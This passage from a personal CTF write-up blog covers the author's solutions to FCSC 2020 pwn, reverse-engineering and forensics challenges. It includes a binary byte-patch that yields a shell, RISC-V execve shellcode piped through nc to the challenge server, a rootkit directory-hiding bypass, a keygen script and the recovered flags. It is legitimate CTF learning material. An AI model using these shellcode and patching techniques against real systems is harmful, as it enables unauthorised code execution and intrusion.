  char *argv[] = {"/home/ctf/.start.sh", NULL};
  execve(argv[0], argv, NULL);
  return 0;
}
ctf@pepin:~$ ls -lah
total 3.6M
dr-xr-xr-x 1 ctf-admin ctf-admin  4.0K Apr 25 10:46 .
drwxr-xr-x 1 ctf-admin ctf        4.0K Apr 25 10:46 ..
-rw-r--r-- 1 ctf-admin ctf         220 May 15  2017 .bash_logout
-rw-r--r-- 1 ctf-admin ctf        3.5K May 15  2017 .bashrc
-rw-r--r-- 1 ctf-admin ctf         675 May 15  2017 .profile
-rwxr-xr-x 1 ctf-admin ctf-admin  1.3K Apr 25 10:45 .start.sh
-rw------- 1 ctf-admin ctf-admin  2.6M Apr 25 10:45 bzImage
-rw------- 1 ctf-admin ctf-admin 1002K Apr 25 10:45 initramfs.cpio
-rwsr-x--- 1 ctf-admin ctf        8.5K Apr 25 10:46 wrapper
-rw-r--r-- 1 ctf-admin ctf         126 Apr 25 10:45 wrapper.c

As an ctf user I don’t have the ability to read bzImage or initramfs.cpio as long as they are used in .start.sh to start qemu. If I look closer I see that the wrapper binary has the following rights: -rwsr-x---. What is s ? 🤨 This is the SUID (Set owner User ID upon execution) which indicates that the program must be executed with the UID of the owner, which here is ctf-admin.

Back to the challenge, the subject tells me that the Linux kernel has a rather particular 333 system call. So I think I’ll start by writing a program that calls this system call.

#include <unistd.h>

int
main(int argc, char *argv[])
{
    syscall(333);
}

I compile it, share it on the environment (there is a folder allowing sharing) and I get the following error:

/ $ ./mnt/share/sys
/bin/sh: ./mnt/share/sys: not found
/ $ ls -lah /mnt/share/
total 24K
drwxrwxrwx    2 998      999         4.0K May  9 11:11 .
drwxr-xr-x    3 root     root           0 May  9 11:11 ..
-rwxr-xr-x    1 999      999        16.1K May  9 11:11 sys

Quite strange. After much research, I finally understand that there is no support for dynamically linked binary loaders. So I recompile statically:

gcc -static sys.c -o sys

So my program is running, nothing special is happening. Let’s look at the dmesg logs. Oh ! there I find the flag :)

Patchinko (141 points)

We are given a binary, patchinko.bin, that we are told is running on the remote server. We are also told that the remote server will allow us to patch a byte of the binary before it is executed. The goal is to read the flag file.

Let’s start by observing what the binary does (ghidra then save as C and also as html which enables me to have the assembler with the C annotations next to it). I can see that it is a simple game where you have to guess (in 1 move !) a random number.

Hello! Welcome to Patchinko Gambling Machine.
Is this your first time here? [y/n]
>>> y
Welcome among us! What is your name?
>>> azad
Nice to meet you azad!
Guess my number
2919407849431380449
42
Close but no! It was 2919407849431380449. Try again!

Interestingly, the first display is not done using printf or any other C function, but via a call to system (a function of the libC, which does a fork + execve + wait): system("echo Hello! Welcome to Patchinko Gambling Machine.");.

This is the function that I have to exploit. I need to find a place in the binary where I can enter text in that console, followed by a function call with our text as a parameter. It is this function call that I will redirect to the system function, patching the binary as allowed before its execution.

The 2 inputs (via fgets) are followed by the call to the strlen function, looking at the assembler allowing these calls and the offsets used for the call I find the following parameters for patching the binary:

With the following inputs I get a shell!

At which position do you want to modify (base 16)?
>>> 0x8EF
Which byte value do you want to write there (base 16)?
>>> 0xdd
== Let's go!
Hello! Welcome to Patchinko Gambling Machine.
Is this your first time here? [y/n]
>>> y
Welcome among us! What is your name?
>>> ls
flag
patchinko.bin
patchinko.py
Nice to meet you ls
!
Guess my number
-1515880507973264832

Let’s restart again with cat flag and here’s the flag ! (for the curious, I got the script that was running to patch the binary before it was executed : patchinko.py)

Risky Business (199 points)

Oh, risc-v! As I know a bit the ISA I should not be lost. We are told that we need to find the contents of a flag file by connecting to a remote server that executes the binary provided to us: risky-business. We are also given a Dockerfile, dockerfile-riscv, to see the environment the binary is executed and to reproduce it (by using qemu-user mode, more info).

Having already the risc-v build and development environment installed, I only compile the qemu for risc-v (my risc-v binaries went directly to a VHDL simulator containing a description of the risc-v processor, this is why I didn’t have qemu).

So I can reproduce the whole remote configuration, but interestingly I also have access to a debugger (via the -g 1234 option of qemu. In gdb I run target remote localhost:1234, this command can be included in the .gdbinit file whose path shoud be allowed to be autoloaded by adding set auto-load safe-path [our local path here] in ~/.gdbinit).

So what if I start by decompiling this binary ?

I add risc-v support in ghidra (it’s by supported in git master branch, but not yet in a release, it should happen in the 9.2 release).

$ cd [source ghidra]/Ghidra/Processors/
$ git clone https://github.com/mumbel/ghidra_riscv

It follows the same principle than for decompiling and extracting a binary to C. And I get a main function that looks something like this:

undefined8 main(void)

{
  byte bVar1;
  int iVar2;
  undefined8 uVar3;
  byte bVar4;
  int local_78;
  int local_74;
  uint local_70;
  code acStack96 [72];
  longlong local_18;

  local_18 = lRam0000000000000000;
  FUN_00100670(acStack96,0x43,lRam0000000000000000); // FUN_00100670 fgets
  iVar2 = FUN_00100660(acStack96); // strlen
  local_78 = iVar2 + -1;
  local_74 = iVar2 + -2;
  local_70 = (iVar2 + -1) * 2;
  bVar1 = (byte)acStack96[iVar2 + -1] >> 4;
  while (-1 < (int)local_70) {
    if ((local_70 & 1) == 0) {
      bVar4 = (byte)acStack96[local_78] & 0xf;
      local_78 = local_78 + -1;
    }
    else {
      bVar4 = (byte)acStack96[local_74] >> 4;
      local_74 = local_74 + -1;
    }
    if ((((bVar1 == 7) && (bVar4 == 3)) || ((bVar1 == 0 && (bVar4 == 0)))) ||
       ((bVar1 == 0 && (bVar4 == 10)))) goto LAB_0010089a;
    local_70 = local_70 - 1;
    bVar1 = bVar4;
  }
  (*acStack96)(acStack96); // <= HERE a jump to what we input
LAB_0010089a:
  uVar3 = 0;
  if (local_18 != lRam0000000000000000) {
    uVar3 = FUN_00100650(); // __stack_chk_fail
  }
  return uVar3;
}

Hum not very clear, but I understand that it takes an input, and if this input passes a certain test, then the program will jump to the memory where our input is stored and will be interpret it as risc-v instructions.

Quick note: If I had realized, by looking even closer, that it was jumping directly to where our input was stored in memory and not at the address indicated by the first 8 bytes of our input, I would have saved a lot of time.

So I have to find a shell code to use this binary and this shell code has to pass the test and be less than 67 bytes. Searching on the internet I find the following shellcode (yes although I know the risc-v assembler, I’m a computer scientist before anything else and therefore I don’t like to redo what has already been done 😜).

All that’s left to do is to encode it correctly. After a few attempts I manage to find a way to do that, passing the test.

(python -c 'print "\xb7\xa4\x43\x03\x9b\x84\x94\x97\x93\x94\xc4\x00\x93\x84\x74\x7b\x93\x94\xc4\x00\x93\x84\xb4\x34\x93\x94\xd4\x00\x93\x84\xf4\x22\x23\x38\x91\xfe\x23\x3c\x01\xfe\x13\x05\x01\xff\x93\x25\xf0\xff\x13\x26\xf0\xff\x93\x08\xd0\x0d\x73\x00\x00\x00"';cat) |  nc challenges1.france-cybersecurity-challenge.fr 4004

And here’s another flag.

Hello Rootkitty (495 points)

I didn’t finish this one, but I tried a number of things and then got off on the wrong track. We are told of a rootkit infecting a machine to which we are given the connection information (as in Pépin, with a wrapper). We are also given the files ecsc.ko (download it) (the kernel module of the rootkit), bzImage (download it) and initramfs.example.cpio (download it) which enables us to re-create the environment on our machine without being on the remote machine with timeouts and many file transfers.

So I rebuild the environment like this:

TEMP=$(mktemp -d)
chmod 730 ${TEMP}
echo ${TEMP}
/usr/bin/qemu-system-x86_64                  \
    -m 64M                                                            \
    -rtc base=2300-11-11T11:11:00                          \
    -cpu kvm64                                                        \
    -kernel bzImage                                         \
    -nographic                                                        \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr nopti' \
    -initrd initramfs.example.cpio                                  \
    -monitor /dev/null                                                \
    -fsdev local,id=exp1,path=${TEMP},security_model=mapped           \
    -device virtio-9p-pci,fsdev=exp1,mount_tag=ecsc

I log in on my qemu and with ls I immediately notice the problem:

/ $ ls
bin                 home                proc                tmp
dev                 init                root                var
ecsc_flag_XXXXXXXX  lib                 run
etc                 mnt                 sys
/ $

It seems that files starting with ecsc_flag_ have their suffix remplaced with X.

I verify it by creating a ecsc_flag_lol file in my $HOME directory. A quick ls, and then I check if I can still read the file (knowing its name):

~ $ echo "coucou" > ecsc_flag_lol
~ $ ls
ecsc_flag_XXX
~ $ cat ecsc_flag_lol
coucou

Well, I can.

Now let’s look at the kernel module, again in ghidra. This module modifies system calls, it is made up of 5 main functions:

So, if I go back to our problem, what have to do is either:

  1. Remove this module (for which I have to be root)
  2. Get the filename without using getdents or getdents64.

For solution 2, after looking at the syscalls relating to the folders and not finding a replacement, I only see bruteforce solution using open: I forge the name, try to open it and if I get EACCES then there is no existing file with that name. If the opening is successful I get the name and I can read the file. This solution could work if the filename wasn’t very long, here it seems doomed to fail.

I’d rather go for solution 1. Finding a way to get past root and unload the problematic kernel module. I search for binaries with their SUID configuration allowing to exploit it but there are none. Since the linux kernel version is quite old, I think there is something to be done around that. Unfortunately I’m not very familiar with the flaws around linux. After some research, I identify a few, try to reproduce them but without success. It was Sunday night, I gave up.

My mistake was that I didn’t look in detail at what the module does, it uses the strcpy function which computes until it meets \0 and is not limited to the size of the buffer. Several writeups have been written about this challenge and they use different methods:

There are certainly other writeups. One solution that was mentioned on the FCSC discord channel is to use the syscall32 old_readdir (man), but I haven’t seen it in a writeup.

So here is my solution (done after the end of the CTF)

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

struct old_linux_dirent {
    unsigned long d_ino;     /* inode number */
    unsigned long d_offset;  /* offset to this old_linux_dirent */
    unsigned short d_namlen; /* length of this d_name */
    char  d_name[1];         /* filename (null-terminated) */ // oh struct hack
};

int main(){
  struct old_linux_dirent  *dp;
  int dir = open(".", O_RDONLY);
  while (syscall(89,dir, dp, 1) != NULL) { // readdir(unsigned int fd, struct old_linux_dirent *dirp, unsigned int count)
    printf("%s\n", dp->d_name);
  }
  return EXIT_SUCCESS;
}

Compilation

$ sudo apt-get install gcc-multilib
$ gcc -m32 -static prog.c -o prog

Then I can check it use readdir with strace (which intercepts and records the system calls of a programm)

$ strace ./prog
execve("./prog", ["./prog"], 0x7ffeb36a5750 /* 51 vars */) = 0
strace: [ Process PID=16084 runs in 32 bit mode. ]
brk(NULL)                               = 0x9caf000
brk(0x9cafd40)                          = 0x9cafd40
set_thread_area({entry_number=-1, base_addr=0x9caf840, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
uname({sysname="Linux", nodename="chaton", ...}) = 0
readlink("/proc/self/exe", "/tmp/tmp.SUA1JvhPpi/prog", 4096) = 24
brk(0x9cd0d40)                          = 0x9cd0d40
brk(0x9cd1000)                          = 0x9cd1000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (Aucun fichier ou dossier de ce type)
openat(AT_FDCWD, ".", O_RDONLY)         = 3
readdir(3, {d_ino=12468418, d_off=927165593, d_reclen=1, d_name="."}) = 1
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x6), ...}) = 0
write(1, ".\n", 2.
)                      = 2
readdir(3, {d_ino=12452024, d_off=1362333839, d_reclen=11, d_name=".prog.c.swp"}) = 1
write(1, ".prog.c.swp\n", 12.prog.c.swp
)           = 12
readdir(3, {d_ino=12452594, d_off=1489200414, d_reclen=6, d_name="prog.c"}) = 1
write(1, "prog.c\n", 7prog.c
)                 = 7
readdir(3, {d_ino=12452606, d_off=1703276605, d_reclen=4, d_name="prog"}) = 1
write(1, "prog\n", 5prog
)                   = 5
readdir(3, {d_ino=12451841, d_off=1836120885, d_reclen=2, d_name=".."}) = 1
write(1, "..\n", 3..
)                     = 3
readdir(3, 0x80dc000)                   = 0
exit_group(0)                           = ?
+++ exited with 0 +++

Everything seems OK, let’s try on remote system !

$ ./mnt/share/prog 
.
..
var
ecsc_flag_cf785ee0b5944f93dd09bf1b1b2c6da7fadada8e4d325a804d1dde2116676126
mnt
run
tmp
proc
sys
home
etc
init
lib
bin
root
dev
/ $ cat ecsc_flag_cf785ee0b5944f93dd09bf1b1b2c6da7fadada8e4d325a804d1dde2116676126
ECSC{c0d801fb2045ddb0ab27766e52b7654ccde41b5fc00d07fa908fefa30b45b8a5}

Got it 😎, but too late 🙃

Reverse

The goal in this category is to reverse engineer programs, generally binaries. There are 5 challenges for a total of 1241 points.

Serial Keyler (25 points)

We are given a binary, SerialKeyler, and asked to write a valid input generator for this binary, which we will validate on a remote server. This is a Keygenme type challenge. Decompiling the binary gives me this function, which takes as argument the string to convert and compares it to a target value, the 2 strings must be identical:

void FUN_0010083a(char *param_1,char *param_2)

{
  long in_FS_OFFSET;
  char *local_88;
  char *local_80;
  ulong local_68;
  size_t local_60;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_60 = strlen(param_1);
  memset(local_58,0,0x40);
  local_68 = 0;
  local_88 = param_2;
  local_80 = param_1;
  while (local_68 < local_60) {
    *(byte *)((long)&local_60 + (local_60 - local_68) + 7) = local_80[local_68] ^ 0x1f;
    local_68 = local_68 + 1;
  }
  strcmp(local_88,local_58);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

If I look closely, this code reverses the string and XOR each character with 0x1f. I check with a few strings provided on the remote system, and as there seems to be several to decode I write a small script to handle the conversion and conversation with the server.

from pwn import *
context.log_level = 'critical'

server = remote("challenges2.france-cybersecurity-challenge.fr", 3001)
while True:
    l = server.recvline()
    print(l)
    if "Well done" in l:
        break
    username = l.split(": ")[1][:-1]
    serial = ''.join([ chr(ord(i) ^ 0x1f) for i in username[::-1]])
    print("username = '{}' serial = '{}'".format(username,serial))
    server.sendline(serial)
print(l)

After 55 conversions (thankfully scripted), I get the flag

Infiltrate (25 points)

Agents have successfully exfiltered a file using the hard drive LED during a disk copy. They provided us with an image of the capture.

infiltrate.png

Hum what a nice capture 🔍! 2 colors? Let’s assume that each color is a bit of the file I was looking for, white = 0 and black = 1. I write a little script that allows me to output the file :

from PIL import Image
import bitarray

im = Image.open("infiltrate.png", 'r')

bitstring = ""
for p in im.getdata():
    if (p[0] == p[1]) and (p[1] == p[2]):
        if p[0] == 255:
            bitstring+="1"
        elif p[0] == 0:
            bitstring+="0"
        else:
            print("error")
    else:
        print("error ff")

bits = bitarray.bitarray(bitstring)
with open('all.bin', 'wb') as fh:
    bits.tofile(fh)

I then look at what I got:

$ file all.bin
all.bin: data

Um, nothing usable, apparently. Let’s look at what’s in it anyway, using hexdump:

$ hexdump -C all.bin |head -n 2
00000000  04 51 81 91 55 50 89 d5  c0 e4 4d 3d 6a e7 1d ed  |.Q..UP....M=j...|
00000010  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|

Oh but wouldn’t 0x7f 0x45 0x4c 0x46 be a ELF file header?

Let’s modify the previous script to remove the first 128 bits. :

bits = bitarray.bitarray(bitstring[128:])
with open('somefile.bin', 'wb') as fh:
    bits.tofile(fh)

Now it’s a binary? Ghidra 🧙!

What does this binary do? It takes an input and calculates the sha1 of that input. If the sha1 matches the hardcoded value then this input is right and we get the flag.

For some reason I don’t know at the time I wrote a sha1 bruteforce algorithm that only tests string of numbers between 0 and 100000 :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>

int main(){

  char string_text[10];
  char test[SHA_DIGEST_LENGTH];
  for(int i=0;i<1000000; i++){
    sprintf(string_text,"%d", i);
    SHA1(string_text,strlen(string_text), test);
    if (((((((test[0] == 'X') && (test[1] == '#')) && (test[10] == -0x5d)) &&
          ((test[2] == -0x25 && (test[3] == -0x69)))) &&
         (((test[6] == -0x3c && ((test[4] == 'h' && (test[5] == '\x01')))) && (test[18] == '&')))
         ) && ((((test[7] == -0x60 && (test[8] == -0x1e)) && (test[9] == -0x29)) &&
               (((test[19] == '\x12' && (test[11] == '0')) &&
                ((test[12] == -0x4e && ((test[13] == -0x45 && (test[15] == -2)))))))))) &&
       ((test[16] == '\'' && ((test[14] == -0x7e && (test[17] == -0x34)))))) {
        printf("OK with %d\n", i);

      }
  }

  return EXIT_SUCCESS;
}

It turns out that I was lucky and found the result, but it would have been better to extract the sha1 and use a site to search for sha1 inversion.

Forensics

This category focused on the analysis of digital traces. We have 10 challenges for a total of 1030 points. It’s an area I’m not particularly familiar with but it seems quite interesting to me to see what we can extract from our digital environments.

Petite Frappe 2 (25 points)

The return of the keylogger from the introduction part. This time we only have a petit_frappe_2.txt file with the key numbers and whether they are preset or released.

To find out how this works in Xorg environments the linux arch wiki gives me the details of the program I was looking for: xmodmap.

I recover the mapping on our machine hoping that it works well and I transform it into a python dictionary that I can use in a script later:

xmodmap -pke |  sed 's/keycode *\([0-9]*\)[ \t]*= *\([^ \n]*\).*/"\1" : "\2",/' | tr -d '\n'

The regex “simply” extracts the code with the field associated to the python dictionnary format.

I can now create the following script:

import re
event =  # python dict previously found from xmodmap
last=""
for line in f.readlines():
    nb=re.sub("[^0-9]*", "", line.strip())
    if "press" in line:
        if last == "p":
            keys[-1]= [keys[-1], event[nb]]
        else:
            keys.append(event[nb])
        last="p"
    else:
        last="r"
print(keys)
for key in keys:
    print key

The display is far from correct, but I understand the message : la solution avec xinput ne semble pas super pratique a decoder ['Shift_R', 'semicolon'] le flag est un_clavier_azerty_en_vaut_deux

That’s how I find the flag.

Find me (25 points)

We are provided with a find_me file which happens to be a ext4 filesystem. We are also told :

You have access to a find_me file that appears to contain a well-kept secret, which may not even exist anymore. Find its contents!

The file system is mounted as follows:

$ mkdir mount_point
$ mount find_me mount_point/

Going through it gives us:

$ tree
.
├── lost+found [error opening dir]
├── pass.b64
└── unlock_me

1 directory, 2 files

Let’s take a look at the pass.b64 file:

nothing here. password splited!

And the other file is a password encrypted LUKS file:

$ file unlock_me 
unlock_me: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: 220745be-23df-4ef8-bff0-a36ab5cd1eff

So I need to figure out what that password is. As I’m in the forensics category and I was told about files that no longer exist I an certain I need to find deleted files.

I use strings (which allows one to identify the string of printable characters in a binary file) on the filesystem (with less to display only the beginning of the results), to see if I can find anythings and bingo :

lost+found
unlock_me
pass.b64
part00
part01
part02
part03
part04
part05
part06
part07
part08
part09
part0a
part0b
part0c
part0d
part0e
part0f
part10
part11
part12
part13
part14

I give it a try with the classic utilities (foremost,e2fsck), but nothing gave good results. I later learned that testdisk was working well and was getting the content back.

Well, since I know how a filesystem works, I’m looking for a tool that will allow me to inspect a filesystem by hand: debugfs. I make a working copy and I start to get a fell for it.

debugfs: list_deleted_inodes
 Inode  Owner  Mode    Size      Blocks   Time deleted
    17      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    18      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    19      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    20      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    21      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    22      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    23      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    24      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    25      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    26      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    27      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    28      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    29      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    30      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    31      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    32      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    33      0 100400      2      1/     1 Wed Apr  1 21:54:12 2020
    34      0 100400      1      1/     1 Wed Apr  1 21:54:12 2020
18 deleted inodes found.

For some reason I don’t know it is unable to find inodes 14, 15 and 16, but knowing the number of files to retrieve and the inode number of pass.b64(13), I can guess which inodes are missing

I dump the contents of the files from the debugfs utility:

debugfs:  block_dump -f <14> 0
0000  5457 0000 0000 0000 0000 0000 0000 0000  TW..............
0020  0000 0000 0000 0000 0000 0000 0000 0000  ................
*

By concatenating the contents of the files in the order of the inodes I get the following string: TWYtOVkyb01OWm5IWEtzak04cThuUlRUOHgzVWRZ.

Let’s try it in the LUKS container. Nope, doesn’t fit. Well, the file told us the password was splited with a .b64 extension, maybe I need to do base64 on this string. Base64 encodes, test on the LUKS: failure. Hmm ? 😫 Ah yes let’s try base64 decode, I get Mf-9Y2oMNZnHXKsjM8q8nRTT8x3UdY and it’s the right one I can finally mount the LUKS decipher file.

$ sudo cryptsetup luksOpen unlock_me u
$ mkdir unlocked
$ sudo mount /dev/mapper/u unlocked

And there I find the flag inside the file .you_found_me

Academy of Investigation

The following 3 challenges are based on the same principle, we are given a dump of the memory of a machine (common for all 3) and we are asked to find information in it. There are tools to perform this kind of analysis, that’s how I discovered volatility.

In particular, it allows me to obtain an output of a certain number of commands as if I was typing on the machine (netscan and ps in particular) and to extract files from the dump. What I did is that I executed volatility with all the relevant options and redirected the output to a file, to avoid having to constantly analyze the dump (it’s not very long, but it takes a bit of time, much more than a simple grep). volatility is based on a profile to retrieve information from the memory dump. I need to build this profile.

The documentation is pretty complete. I need to get an environment identical to the dump to get the System.map and module.dwarf. I can easily identify the system via strings dmp.mem I identify : Linux 5.4.0-4-amd64 Debian GNU/Linux bullseye/sid

Now it’s a matter of reproducing the system. I finally came across this page: A version of debian which is the one I was looking for with the kernel I was looking for 🤑. I install it in a VM and get the System.map easily. And now apt-get install linux-headers-5.4.0-4. Ah, but it can’t find it. Okay, well… So I start looking for headers, I end up finding them on a purism repo. I add them to our source.list, a little apt-get update and then I install them. I can now create the profile:

$ scp -r [host machine]:CTF/FCSC2020/tools/volatility/tools/linux .
$ cd linux
$ KVER=5.4.0-4-amd64 make
$ zip profile_debian_9.2.1_linux_5.4.0-4-amd64.zip module.dwarf /boot/System.map-5.4.0-4-amd64

I get it to my host machine, and add it to my volatility setup (which is just a repo clone) in volatility/plugins/overlays/linux/profile_debian_9.2.1_linux_5.4.0-4-amd64.zip.

C’est la rentrée (25 points)

We need to find:

I started by doing it without volatility just with grep on strings dmp.mem (that I had saved in a file, so I won’t reread 1Gb of dump every time ^^)

For the user, using grep "home" it is easy to find that it is Lesage.

For the Linux version, I can find it using the same method as for building the volatility profile.

For the hostname, I thought I had it by using grep "Lesage@" dmp.mem.strings which give Lesage@challenge: ~, but it was incorrect and that’s the reason for a lot of failed flag validation on this chall (6 if I remember correctly on a maximum of 10 tries). Indeed the hostname was challenge.fcsc which was easily found with grep HOSTNAME 🤦.

But in the end I ended up getting the flag

Porte dérobée (30 points)

The subject as follows:

A remote station is connected to the station being scanned via a backdoor with the ability to execute commands.

I look at which processes are in LISTEN: grep "LISTEN" netstat.

TCP      ::1             :   53 ::              :    0 LISTEN                    unbound/695  
TCP      127.0.0.1       :   53 0.0.0.0         :    0 LISTEN                    unbound/695  
TCP      ::1             : 8953 ::              :    0 LISTEN                    unbound/695  
TCP      127.0.0.1       : 8953 0.0.0.0         :    0 LISTEN                    unbound/695  
TCP      127.0.0.1       : 9050 0.0.0.0         :    0 LISTEN                        tor/706  
TCP      127.0.0.1       :   25 0.0.0.0         :    0 LISTEN                      exim4/1048 
TCP      ::1             :   25 ::              :    0 LISTEN                      exim4/1048 
TCP      127.0.0.1       :64768 0.0.0.0         :    0 LISTEN                        cli/119514
TCP      127.0.0.1       :34243 0.0.0.0         :    0 LISTEN                        cli/119514
TCP      ::              :36280 ::              :    0 LISTEN                       ncat/119711
TCP      0.0.0.0         :36280 0.0.0.0         :    0 LISTEN                       ncat/119711

Only one listen (in IPv4 and IPv6) goes to the outside ncat/119711 on port 36280. That’s our first clue.

For the remote address connected to it, grep "36280" netstat.

TCP      fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED                  ncat/1515
TCP      fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED                    sh/119511
TCP      ::              :36280 ::              :    0 LISTEN                       ncat/119711
TCP      0.0.0.0         :36280 0.0.0.0         :    0 LISTEN                       ncat/119711

Now I just have to find the timestamp of the creation of ncat from its PID I can easily find it : grep "1515" pslist.

0xffff9d72c014be00 ncat                 1515            1513            1001            1001   0x000000003e3d0000 2020-03-26 23:24:20 UTC+0000
0xffff9d72c5d50000 sh                   119511          1515            1001            1001   0x00000000128ac000 2020-03-26 23:32:36 UTC+0000

And here’s the result, I have my flag: FCSC{36280:fd:6663:7363:1000:55cf:b9c6:f41d:cc24:2020-03-26 23:24:20}.

Premiers artéfacts (100 points)

We are asked to find the following:

Conclusion

I found these challenges very interesting, extraordinarily diverse, and in the end I learned a lot. It was very, very enjoyable. When you see the efforts that sometimes have to be made to solve them, you can also imagine the time spent by the ANSSI agents in designing the challenges. A big thank goes out to them. The fact it was spread over several days (10 days seemed quite enjoyable to me, no need for an all-nighter), makes it possible to have a great number of diverse challenges, but also complex ones.

azad result

In the end I managed to get at least a flag in all category and finished with 1486 points, which allows me to rank 114 on more than 1500 people. Not bad for a first CTF I think. It is certain that I would love to do this kind of event again. See you next year for the FCSC2021?

Note : On the discord server, several websites offering similar challenges have been listed: